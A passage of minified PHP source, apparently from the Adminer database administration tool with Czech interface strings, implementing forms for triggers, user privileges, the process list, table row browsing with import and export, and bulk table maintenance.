<tr><th>Čas<td>',html_select("Timing",$nh["Timing"],$K["Timing"],"if (/^".preg_quote($a,"/")."_[ba][iud]$/.test(this.form['Trigger'].value)) this.form['Trigger'].value = '".js_escape($a)."_' + selectValue(this).charAt(0).toLowerCase() + selectValue(this.form['Event']).charAt(0).toLowerCase();"),'<tr><th>Událost<td>',html_select("Event",$lh,$K["Event"],"this.form['Timing'].onchange();"),'<tr><th>Typ<td>',html_select("Type",$nh["Type"],$K["Type"]),'</table>
<p>Název: <input name="Trigger" value="',h($K["Trigger"]),'" maxlength="64" autocapitalize="off">
<p>';textarea("Statement",$K["Statement"]);echo'<p>
<input type="submit" value="Uložit">
';if($C!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$xf=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$K){foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"]))as$tb)$xf[$tb][$K["Privilege"]]=$K["Comment"];}$xf["Server Admin"]+=$xf["File access on server"];$xf["Databases"]["Create routine"]=$xf["Procedures"]["Create routine"];unset($xf["Procedures"]["Create routine"]);$xf["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$xf["Columns"][$X]=$xf["Tables"][$X];unset($xf["Server Admin"]["Usage"]);foreach($xf["Tables"]as$x=>$X)unset($xf["Databases"][$x]);$re=array();if($_POST){foreach($_POST["objects"]as$x=>$X)$re[$X]=(array)$re[$X]+(array)$_POST["grants"][$x];}$Tc=array();$Ae="";if(isset($_GET["host"])&&($I=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($K=$I->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$B)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$B[1],$Wd,PREG_SET_ORDER)){foreach($Wd
as$X){if($X[1]!="USAGE")$Tc["$B[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$K[0]))$Tc["$B[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$B))$Ae=$B[1];}}if($_POST&&!$m){$Be=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $Be",ME."privileges=",'Uživatel byl odstraněn.');else{$te=q($_POST["user"])."@".q($_POST["host"]);$ff=$_POST["pass"];if($ff!=''&&!$_POST["hashed"]){$ff=$g->result("SELECT PASSWORD(".q($ff).")");$m=!$ff;}$zb=false;if(!$m){if($Be!=$te){$zb=queries(($g->server_info<5?"GRANT USAGE ON *.* TO":"CREATE USER")." $te IDENTIFIED BY PASSWORD ".q($ff));$m=!$zb;}elseif($ff!=$Ae)queries("SET PASSWORD FOR $te = ".q($ff));}if(!$m){$Uf=array();foreach($re
as$xe=>$Sc){if(isset($_GET["grant"]))$Sc=array_filter($Sc);$Sc=array_keys($Sc);if(isset($_GET["grant"]))$Uf=array_diff(array_keys(array_filter($re[$xe],'strlen')),$Sc);elseif($Be==$te){$ze=array_keys((array)$Tc[$xe]);$Uf=array_diff($ze,$Sc);$Sc=array_diff($Sc,$ze);unset($Tc[$xe]);}if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$xe,$B)&&(!grant("REVOKE",$Uf,$B[2]," ON $B[1] FROM $te")||!grant("GRANT",$Sc,$B[2]," ON $B[1] TO $te"))){$m=true;break;}}}if(!$m&&isset($_GET["host"])){if($Be!=$te)queries("DROP USER $Be");elseif(!isset($_GET["grant"])){foreach($Tc
as$xe=>$Uf){if(preg_match('~^(.+)(\\(.*\\))?$~U',$xe,$B))grant("REVOKE",array_keys($Uf),$B[2]," ON $B[1] FROM $te");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?'Uživatel byl změněn.':'Uživatel byl vytvořen.'),!$m);if($zb)$g->query("DROP USER $te");}}page_header((isset($_GET["host"])?'Uživatel'.": ".h("$ha@$_GET[host]"):'Vytvořit uživatele'),$m,array("privileges"=>array('','Oprávnění')));if($_POST){$K=$_POST;$Tc=$re;}else{$K=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$K["pass"]=$Ae;if($Ae!="")$K["hashed"]=true;$Tc[(DB==""||$Tc?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'<form action="" method="post">
<table cellspacing="0">
<tr><th>Server<td><input name="host" maxlength="60" value="',h($K["host"]),'" autocapitalize="off">
<tr><th>Uživatel<td><input name="user" maxlength="16" value="',h($K["user"]),'" autocapitalize="off">
<tr><th>Heslo<td><input name="pass" id="pass" value="',h($K["pass"]),'">
';if(!$K["hashed"]){echo'<script type="text/javascript">typePassword(document.getElementById(\'pass\'));</script>';}echo
checkbox("hashed",1,$K["hashed"],'Zahašované',"typePassword(this.form['pass'], this.checked);"),'</table>
';echo"<table cellspacing='0'>\n","<thead><tr><th colspan='2'>".'Oprávnění'.doc_link(array('sql'=>"grant.html#priv_level"));$r=0;foreach($Tc
as$xe=>$Sc){echo'<th>'.($xe!="*.*"?"<input name='objects[$r]' value='".h($xe)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$r]' value='*.*' size='10'>*.*");$r++;}echo"</thead>\n";foreach(array(""=>"","Server Admin"=>'Server',"Databases"=>'Databáze',"Tables"=>'Tabulka',"Columns"=>'Sloupec',"Procedures"=>'Procedura',)as$tb=>$Kb){foreach((array)$xf[$tb]as$wf=>$mb){echo"<tr".odd()."><td".($Kb?">$Kb<td":" colspan='2'").' lang="en" title="'.h($mb).'">'.h($wf);$r=0;foreach($Tc
as$xe=>$Sc){$C="'grants[$r][".h(strtoupper($wf))."]'";$Y=$Sc[strtoupper($wf)];if($tb=="Server Admin"&&$xe!=(isset($Tc["*.*"])?"*.*":".*"))echo"<td> ";elseif(isset($_GET["grant"]))echo"<td><select name=$C><option><option value='1'".($Y?" selected":"").">".'Povolit'."<option value='0'".($Y=="0"?" selected":"").">".'Zakázat'."</select>";else
echo"<td align='center'><label class='block'><input type='checkbox' name=$C value='1'".($Y?" checked":"").($wf=="All privileges"?" id='grants-$r-all'":($wf=="Grant option"?"":" onclick=\"if (this.checked) formUncheck('grants-$r-all');\""))."></label>";$r++;}}}echo"</table>\n",'<p>
<input type="submit" value="Uložit">
';if(isset($_GET["host"])){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$m){$Fd=0;foreach((array)$_POST["kill"]as$X){if(queries("KILL ".(+$X)))$Fd++;}queries_redirect(ME."processlist=",lang(array('Byl ukončen %d proces.','Byly ukončeny %d procesy.','Bylo ukončeno %d procesů.'),$Fd),$Fd||!$_POST["kill"]);}page_header('Seznam procesů',$m);echo'
<form action="" method="post">
<table cellspacing="0" onclick="tableClick(event);" ondblclick="tableClick(event, true);" class="nowrap checkable">
';$r=-1;foreach(process_list()as$r=>$K){if(!$r){echo"<thead><tr lang='en'>".(support("kill")?"<th> ":"");foreach($K
as$x=>$X)echo"<th>$x".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($x),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"../b14237/dynviews_2088.htm",));echo"</thead>\n";}echo"<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$K["Id"],0):"");foreach($K
as$x=>$X)echo"<td>".(($w=="sql"&&$x=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||($w=="pgsql"&&$x=="current_query"&&$X!="<IDLE>")||($w=="oracle"&&$x=="sql_text"&&$X!="")?"<code class='jush-$w'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.'Klonovat'.'</a>':nbsp($X));echo"\n";}echo'</table>
<script type=\'text/javascript\'>tableCheck();</script>
<p>
';if(support("kill")){echo($r+1)."/".sprintf('%d celkem',$g->result("SELECT @@max_connections")),"<p><input type='submit' value='".'Ukončit'."'>\n";}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["select"])){$a=$_GET["select"];$R=table_status1($a);$v=indexes($a);$o=fields($a);$Kc=column_foreign_keys($a);$ye="";if($R["Oid"]){$ye=($w=="sqlite"?"rowid":"oid");$v[]=array("type"=>"PRIMARY","columns"=>array($ye));}parse_str($_COOKIE["adminer_import"],$wa);$Vf=array();$f=array();$Vg=null;foreach($o
as$x=>$n){$C=$b->fieldName($n);if(isset($n["privileges"]["select"])&&$C!=""){$f[$x]=html_entity_decode(strip_tags($C),ENT_QUOTES);if(is_shortable($n))$Vg=$b->selectLengthProcess();}$Vf+=$n["privileges"];}list($M,$Uc)=$b->selectColumnsProcess($f,$v);$ud=count($Uc)<count($M);$Z=$b->selectSearchProcess($o,$v);$Me=$b->selectOrderProcess($o,$v);$z=$b->selectLimitProcess();$Pc=($M?implode(", ",$M):"*".($ye?", $ye":"")).convert_fields($f,$o,$M)."\nFROM ".table($a);$Vc=($Uc&&$ud?"\nGROUP BY ".implode(", ",$Uc):"").($Me?"\nORDER BY ".implode(", ",$Me):"");if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$vh=>$K){$Ea=convert_field($o[key($K)]);$M=array($Ea?$Ea:idf_escape(key($K)));$Z[]=where_check($vh,$o);$J=$l->select($a,$M,$Z,$M);if($J)echo
reset($J->fetch_row());}exit;}if($_POST&&!$m){$Qh=$Z;if(!$_POST["all"]&&is_array($_POST["check"]))$Qh[]="((".implode(") OR (",array_map('where_check',$_POST["check"]))."))";$Qh=($Qh?"\nWHERE ".implode(" AND ",$Qh):"");$sf=$xh=null;foreach($v
as$u){if($u["type"]=="PRIMARY"){$sf=array_flip($u["columns"]);$xh=($M?$sf:array());break;}}foreach((array)$xh
as$x=>$X){if(in_array(idf_escape($x),$M))unset($xh[$x]);}if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");if(!is_array($_POST["check"])||$xh===array())$H="SELECT $Pc$Qh$Vc";else{$th=array();foreach($_POST["check"]as$X)$th[]="(SELECT".limit($Pc,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$o).$Vc,1).")";$H=implode(" UNION ALL ",$th);}$b->dumpData($a,"table",$H);exit;}if(!$b->selectEmailProcess($Z,$Kc)){if($_POST["save"]||$_POST["delete"]){$I=true;$xa=0;$O=array();if(!$_POST["delete"]){foreach($f
as$C=>$X){$X=process_input($o[$C]);if($X!==null&&($_POST["clone"]||$X!==false))$O[idf_escape($C)]=($X!==false?$X:idf_escape($C));}}if($_POST["delete"]||$O){if($_POST["clone"])$H="INTO ".table($a)." (".implode(", ",array_keys($O)).")\nSELECT ".implode(", ",$O)."\nFROM ".table($a);if($_POST["all"]||($xh===array()&&is_array($_POST["check"]))||$ud){$I=($_POST["delete"]?$l->delete($a,$Qh):($_POST["clone"]?queries("INSERT $H$Qh"):$l->update($a,$O,$Qh)));$xa=$g->affected_rows;}else{foreach((array)$_POST["check"]as$X){$Ph="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$o);$I=($_POST["delete"]?$l->delete($a,$Ph,1):($_POST["clone"]?queries("INSERT".limit1($H,$Ph)):$l->update($a,$O,$Ph)));if(!$I)break;$xa+=$g->affected_rows;}}}$ee=lang(array('Byl ovlivněn %d záznam.','Byly ovlivněny %d záznamy.','Bylo ovlivněno %d záznamů.'),$xa);if($_POST["clone"]&&$I&&$xa==1){$Jd=last_id();if($Jd)$ee=sprintf('Položka%s byla vložena.'," $Jd");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$ee,$I);}elseif(!$_POST["import"]){if(!$_POST["val"])$m='Ctrl+klikněte na políčko, které chcete změnit.';else{$I=true;$xa=0;foreach($_POST["val"]as$vh=>$K){$O=array();foreach($K
as$x=>$X){$x=bracket_escape($x,1);$O[idf_escape($x)]=(preg_match('~char|text~',$o[$x]["type"])||$X!=""?$b->processInput($o[$x],$X):"NULL");}$I=$l->update($a,$O," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($vh,$o),!($ud||$xh===array())," ");if(!$I)break;$xa+=$g->affected_rows;}queries_redirect(remove_from_uri(),lang(array('Byl ovlivněn %d záznam.','Byly ovlivněny %d záznamy.','Bylo ovlivněno %d záznamů.'),$xa),$I);}}elseif(!is_string($Dc=get_file("csv_file",true)))$m=upload_error($Dc);elseif(!preg_match('~~u',$Dc))$m='Soubor musí být v kódování UTF-8.';else{cookie("adminer_import","output=".urlencode($wa["output"])."&format=".urlencode($_POST["separator"]));$I=true;$jb=array_keys($o);preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$Dc,$Wd);$xa=count($Wd[0]);$l->begin();$kg=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$L=array();foreach($Wd[0]as$x=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$kg]*)$kg~",$X.$kg,$Xd);if(!$x&&!array_diff($Xd[1],$jb)){$jb=$Xd[1];$xa--;}else{$O=array();foreach($Xd[1]as$r=>$gb)$O[idf_escape($jb[$r])]=($gb==""&&$o[$jb[$r]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$gb))));$L[]=$O;}}$I=(!$L||$l->insertUpdate($a,$L,$sf));if($I)$l->commit();queries_redirect(remove_from_uri("page"),lang(array('Byl importován %d záznam.','Byly importovány %d záznamy.','Bylo importováno %d záznamů.'),$xa),$I);$l->rollback();}}}$Hg=$b->tableName($R);if(is_ajax()){page_headers();ob_start();}else
page_header('Vypsat'.": $Hg",$m);$O=null;if(isset($Vf["insert"])||!support("table")){$O="";foreach((array)$_GET["where"]as$X){if(count($Kc[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))$O.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);}}$b->selectLinks($R,$O);if(!$f&&support("table"))echo"<p class='error'>".'Nepodařilo se vypsat tabulku'.($o?".":": ".error())."\n";else{echo"<form action='' id='form'>\n","<div style='display: none;'>";hidden_fields_get();echo(DB!=""?'<input type="hidden" name="db" value="'.h(DB).'">'.(isset($_GET["ns"])?'<input type="hidden" name="ns" value="'.h($_GET["ns"]).'">':""):"");echo'<input type="hidden" name="select" value="'.h($a).'">',"</div>\n";$b->selectColumnsPrint($M,$f);$b->selectSearchPrint($Z,$f,$v);$b->selectOrderPrint($Me,$f,$v);$b->selectLimitPrint($z);$b->selectLengthPrint($Vg);$b->selectActionPrint($v);echo"</form>\n";$E=$_GET["page"];if($E=="last"){$Nc=$g->result(count_rows($a,$Z,$ud,$Uc));$E=floor(max(0,$Nc-1)/$z);}$hg=$M;if(!$hg){$hg[]="*";if($ye)$hg[]=$ye;}$ub=convert_fields($f,$o,$M);if($ub)$hg[]=substr($ub,2);$I=$l->select($a,$hg,$Z,$Uc,$Me,$z,$E,true);if(!$I)echo"<p class='error'>".error()."\n";else{if($w=="mssql"&&$E)$I->seek($z*$E);$fc=array();echo"<form action='' method='post' enctype='multipart/form-data'>\n";$L=array();while($K=$I->fetch_assoc()){if($E&&$w=="oracle")unset($K["RNUM"]);$L[]=$K;}if($_GET["page"]!="last"&&+$z&&$Uc&&$ud&&$w=="sql")$Nc=$g->result(" SELECT FOUND_ROWS()");if(!$L)echo"<p class='message'>".'Žádné řádky.'."\n";else{$Na=$b->backwardKeys($a,$Hg);echo"<table id='table' cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);' onkeydown='return editingKeydown(event);'>\n","<thead><tr>".(!$Uc&&$M?"":"<td><input type='checkbox' id='all-page' onclick='formCheck(this, /check/);'> <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".'Změnit'."</a>");$qe=array();$Rc=array();reset($M);$Ff=1;foreach($L[0]as$x=>$X){if($x!=$ye){$X=$_GET["columns"][key($M)];$n=$o[$M?($X?$X["col"]:current($M)):$x];$C=($n?$b->fieldName($n,$Ff):($X["fun"]?"*":$x));if($C!=""){$Ff++;$qe[$x]=$C;$e=idf_escape($x);$fd=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($x);$Kb="&desc%5B0%5D=1";echo'<th onmouseover="columnMouse(this);" onmouseout="columnMouse(this, \' hidden\');">','<a href="'.h($fd.($Me[0]==$e||$Me[0]==$x||(!$Me&&$ud&&$Uc[0]==$e)?$Kb:'')).'">';echo
apply_sql_function($X["fun"],$C)."</a>";echo"<span class='column hidden'>","<a href='".h($fd.$Kb)."' title='".'sestupně'."' class='text'> ↓</a>";if(!$X["fun"])echo'<a href="#fieldset-search" onclick="selectSearch(\''.h(js_escape($x)).'\'); return false;" title="'.'Vyhledat'.'" class="text jsonly"> =</a>';echo"</span>";}$Rc[$x]=$X["fun"];next($M);}}$Od=array();if($_GET["modify"]){foreach($L
as$K){foreach($K
as$x=>$X)$Od[$x]=max($Od[$x],min(40,strlen(utf8_decode($X))));}}echo($Na?"<th>".'Vztahy':"")."</thead>\n";if(is_ajax()){if($z%2==1&&$E%2==1)odd();ob_end_clean();}foreach($b->rowDescriptions($L,$Kc)as$pe=>$K){$uh=unique_array($L[$pe],$v);if(!$uh){$uh=array();foreach($L[$pe]as$x=>$X){if(!preg_match('~^(COUNT\\((\\*|(DISTINCT )?`(?:[^`]|``)+`)\\)|(AVG|GROUP_CONCAT|MAX|MIN|SUM)\\(`(?:[^`]|``)+`\\))$~',$x))$uh[$x]=$X;}}$vh="";foreach($uh
as$x=>$X){if(($w=="sql"||$w=="pgsql")&&strlen($X)>64){$x="MD5(".(strpos($x,'(')?$x:idf_escape($x)).")";$X=md5($X);}$vh.="&".($X!==null?urlencode("where[".bracket_escape($x)."]")."=".urlencode($X):"null%5B%5D=".urlencode($x));}echo"<tr".odd().">".(!$Uc&&$M?"":"<td>".checkbox("check[]",substr($vh,1),in_array(substr($vh,1),(array)$_POST["check"]),"","this.form['all'].checked = false; formUncheck('all-page');").($ud||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$vh)."'>".'upravit'."</a>"));foreach($K
as$x=>$X){if(isset($qe[$x])){$n=$o[$x];if($X!=""&&(!isset($fc[$x])||$fc[$x]!=""))$fc[$x]=(is_mail($X)?$qe[$x]:"");$_="";if(preg_match('~blob|bytea|raw|file~',$n["type"])&&$X!="")$_=ME.'download='.urlencode($a).'&field='.urlencode($x).$vh;if(!$_&&$X!==null){foreach((array)$Kc[$x]as$p){if(count($Kc[$x])==1||end($p["source"])==$x){$_="";foreach($p["source"]as$r=>$sg)$_.=where_link($r,$p["target"][$r],$L[$pe][$sg]);$_=($p["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\\1'.urlencode($p["db"]),ME):ME).'select='.urlencode($p["table"]).$_;if(count($p["source"])==1)break;}}}if($x=="COUNT(*)"){$_=ME."select=".urlencode($a);$r=0;foreach((array)$_GET["where"]as$W){if(!array_key_exists($W["col"],$uh))$_.=where_link($r++,$W["col"],$W["val"],$W["op"]);}foreach($uh
as$_d=>$W)$_.=where_link($r++,$_d,$W);}$X=select_value($X,$_,$n,$Vg);$s=h("val[$vh][".bracket_escape($x)."]");$Y=$_POST["val"][$vh][bracket_escape($x)];$bc=!is_array($K[$x])&&is_utf8($X)&&$L[$pe][$x]==$K[$x]&&!$Rc[$x];$Ug=preg_match('~text|lob~',$n["type"]);if(($_GET["modify"]&&$bc)||$Y!==null){$Xc=h($Y!==null?$Y:$K[$x]);echo"<td>".($Ug?"<textarea name='$s' cols='30' rows='".(substr_count($K[$x],"\n")+1)."'>$Xc</textarea>":"<input name='$s' value='$Xc' size='$Od[$x]'>");}else{$Td=strpos($X,"<i>...</i>");echo"<td id='$s' onclick=\"selectClick(this, event, ".($Td?2:($Ug?1:0)).($bc?"":", '".h('Ke změně této hodnoty použijte odkaz upravit.')."'").");\">$X";}}}if($Na)echo"<td>";$b->backwardKeysPrint($Na,$L[$pe]);echo"</tr>\n";}if(is_ajax())exit;echo"</table>\n";}if(($L||$E)&&!is_ajax()){$qc=true;if($_GET["page"]!="last"){if(!+$z)$Nc=count($L);elseif($w!="sql"||!$ud){$Nc=($ud?false:found_rows($R,$Z));if($Nc<max(1e4,2*($E+1)*$z))$Nc=reset(slow_query(count_rows($a,$Z,$ud,$Uc)));else$qc=false;}}if(+$z&&($Nc===false||$Nc>$z||$E)){echo"<p class='pages'>";$Zd=($Nc===false?$E+(count($L)>=$z?2:1):floor(($Nc-1)/$z));if($w!="simpledb"){echo'<a href="'.h(remove_from_uri("page"))."\" onclick=\"pageClick(this.href, +prompt('".'Stránka'."', '".($E+1)."'), event); return false;\">".'Stránka'."</a>:",pagination(0,$E).($E>5?" ...":"");for($r=max(1,$E-4);$r<min($Zd,$E+5);$r++)echo
pagination($r,$E);if($Zd>0){echo($E+5<$Zd?" ...":""),($qc&&$Nc!==false?pagination($Zd,$E):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$Zd'>".'poslední'."</a>");}echo(($Nc===false?count($L)+1:$Nc-$E*$z)>$z?' <a href="'.h(remove_from_uri("page")."&page=".($E+1)).'" onclick="return !selectLoadMore(this, '.(+$z).', \''.'Nahrává se'.'...\');">'.'Nahrát další data'.'</a>':'');}else{echo'Stránka'.":",pagination(0,$E).($E>1?" ...":""),($E?pagination($E,$E):""),($Zd>$E?pagination($E+1,$E).($Zd>$E+1?" ...":""):"");}}echo"<p class='count'>\n",($Nc!==false?"(".($qc?"":"~ ").lang(array('%d řádek','%d řádky','%d řádků'),$Nc).") ":"");$Qb=($qc?"":"~ ").$Nc;echo
checkbox("all",1,0,'celý výsledek',"var checked = formChecked(this, /check/); selectCount('selected', this.checked ? '$Qb' : checked); selectCount('selected2', this.checked || !checked ? '$Qb' : checked);")."\n";if($b->selectCommandPrint()){echo'<fieldset',($_GET["modify"]?'':' class="jsonly"'),'><legend>Změnit</legend><div>
<input type="submit" value="Uložit"',($_GET["modify"]?'':' title="'.'Ctrl+klikněte na políčko, které chcete změnit.'.'"'),'>
</div></fieldset>
<fieldset><legend>Označené <span id="selected"></span></legend><div>
<input type="submit" name="edit" value="Upravit">
<input type="submit" name="clone" value="Klonovat">
<input type="submit" name="delete" value="Smazat"',confirm(),'>
</div></fieldset>
';}$Lc=$b->dumpFormat();foreach((array)$_GET["columns"]as$e){if($e["fun"]){unset($Lc['sql']);break;}}if($Lc){print_fieldset("export",'Export'." <span id='selected2'></span>");$We=$b->dumpOutput();echo($We?html_select("output",$We,$wa["output"])." ":""),html_select("format",$Lc,$wa["format"])," <input type='submit' name='export' value='".'Export'."'>\n","</div></fieldset>\n";}echo(!$Uc&&$M?"":"<script type='text/javascript'>tableCheck();</script>\n");}if($b->selectImportPrint()){print_fieldset("import",'Import',!$L);echo"<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$wa["format"],1);echo" <input type='submit' name='import' value='".'Import'."'>","</div></fieldset>\n";}$b->selectEmailPrint(array_filter($fc,'strlen'),$f);echo"<p><input type='hidden' name='token' value='$T'></p>\n","</form>\n";}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$xg=isset($_GET["status"]);page_header($xg?'Stav':'Proměnné');$Ih=($xg?show_status():show_variables());if(!$Ih)echo"<p class='message'>".'Žádné řádky.'."\n";else{echo"<table cellspacing='0'>\n";foreach($Ih
as$x=>$X){echo"<tr>","<th><code class='jush-".$w.($xg?"status":"set")."'>".h($x)."</code>","<td>".nbsp($X);}echo"</table>\n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$Eg=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$C=>$R){$s=js_escape($C);json_row("Comment-$s",nbsp($R["Comment"]));if(!is_view($R)){foreach(array("Engine","Collation")as$x)json_row("$x-$s",nbsp($R[$x]));foreach($Eg+array("Auto_increment"=>0,"Rows"=>0)as$x=>$X){if($R[$x]!=""){$X=number_format($R[$x],0,'.',' ');json_row("$x-$s",($x=="Rows"&&$X&&$R["Engine"]==($ug=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($Eg[$x]))$Eg[$x]+=($R["Engine"]!="InnoDB"||$x!="Data_free"?$R[$x]:0);}elseif(array_key_exists($x,$R))json_row("$x-$s");}}}foreach($Eg
as$x=>$X)json_row("sum-$x",number_format($X,0,'.',' '));json_row("");}elseif($_GET["script"]=="kill")$g->query("KILL ".(+$_POST["kill"]));else{foreach(count_tables($b->databases())as$k=>$X)json_row("tables-".js_escape($k),$X);json_row("");}exit;}else{$Ng=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($Ng&&!$m&&!$_POST["search"]){$I=true;$ee="";if($w=="sql"&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$I=truncate_tables($_POST["tables"]);$ee='Tabulky byly vyprázdněny.';}elseif($_POST["move"]){$I=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$ee='Tabulky byly přesunuty.';}elseif($_POST["copy"]){$I=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$ee='Tabulky byly zkopírovány.';}elseif($_POST["drop"]){if($_POST["views"])$I=drop_views($_POST["views"]);if($I&&$_POST["tables"])$I=drop_tables($_POST["tables"]);$ee='Tabulky byly odstraněny.';}elseif($w!="sql"){$I=($w=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$ee='Tabulky byly optimalizovány.';}elseif(!$_POST["tables"])$ee='Žádné tabulky.';elseif($I=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"])))){while($K=$I->fetch_assoc())$ee.="<b>".h($K["Table"])."</b>: ".h($K["Msg_text"])."<br>";}queries_redirect(substr(ME,0,-1),$ee,$I);}page_header(($_GET["ns"]==""?'Databáze'.": ".h(DB):'Schéma'.": ".h($_GET["ns"])),$m,true);if($b->homepage()){if($_GET["ns"]!==""){echo"<h3 id='tables-views'>".'Tabulky a pohledy'."</h3>\n";$Mg=tables_list();if(!$Mg)echo"<p class='message'>".'Žádné tabulky.'."\n";else{echo"<form action='' method='post'>\n";if(support("table")){echo"<fieldset><legend>".'Vyhledat data v tabulkách'." <span id='selected2'></span></legend><div>","<input type='search' name='query' value='".h($_POST["query"])."'> <input type='submit' name='search' value='".'Vyhledat'."'>\n","</div></fieldset>\n";if($_POST["search"]&&$_POST["query"]!="")search_tables();}echo"<table cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n",'<thead><tr class="wrap"><td><input id="check-all" type="checkbox" onclick="formCheck(this, /^(tables|views)\[/);">','<th>'.'Tabulka','<td>'.'Úložiště','<td>'.'Porovnávání','<td>'.'Velikost dat','<td>'.'Velikost indexů','<td>'.'Volné místo','<td>'.'Auto Increment','<td>'.'Řádků',(support("comment")?'<td>'.'Komentář':''),"</thead>\n";$S=0;foreach($Mg
as$C=>$U){$Lh=($U!==null&&!preg_match('~table~i',$U));echo'<tr'.odd().'><td>'.checkbox(($Lh?"views[]":"tables[]"),$C,in_array($C,$Ng,true),"","formUncheck('check-all');"),'<th>'.(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($C).'" title="'.'Zobrazit strukturu'.'">'.h($C).'</a>':h($C));if($Lh){echo'<td colspan="6"><a href="'.h(ME)."view=".urlencode($C).'" title="'.'Pozměnit pohled'.'">'.'Pohled'.'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($C).'" title="'.'Vypsat data'.'">?</a>';}else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",'Pozměnit tabulku'),"Index_length"=>array("indexes",'Pozměnit indexy'),"Data_free"=>array("edit",'Nová položka'),"Auto_increment"=>array("auto_increment=1&create",'Pozměnit tabulku'),"Rows"=>array("select",'Vypsat data'),)as$x=>$_){$s=" id='$x-".h($C)."'";echo($_?"<td align='right'>".(support("table")||$x=="Rows"||(support("indexes")&&$x!="Data_length")?"<a href='".h(ME."$_[0]=").urlencode($C)."'$s title='$_[1]'>?</a>":"<span$s>?</span>"):"<td id='$x-".h($C)."'> ");}$S++;}echo(support("comment")?"<td id='Comment-".h($C)."'> ":"");}echo"<tr><td> <th>".sprintf('%d celkem',count($Mg)),"<td>".nbsp($w=="sql"?$g->result("SELECT @@storage_engine"):""),"<td>".nbsp(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$x)echo"<td align='right' id='sum-$x'> ";echo"</table>\n";if(!information_schema(DB)){$Fh="<input type='submit' value='".'Vyčistit'."'".on_help("'VACUUM'")."> ";$Ie="<input type='submit' name='optimize' value='".'Optimalizovat'."'".on_help($w=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'")."> ";echo"<fieldset><legend>".'Označené'." <span id='selected'></span></legend><div>".($w=="sqlite"?$Fh:($w=="pgsql"?$Fh.$Ie:($w=="sql"?"<input type='submit' 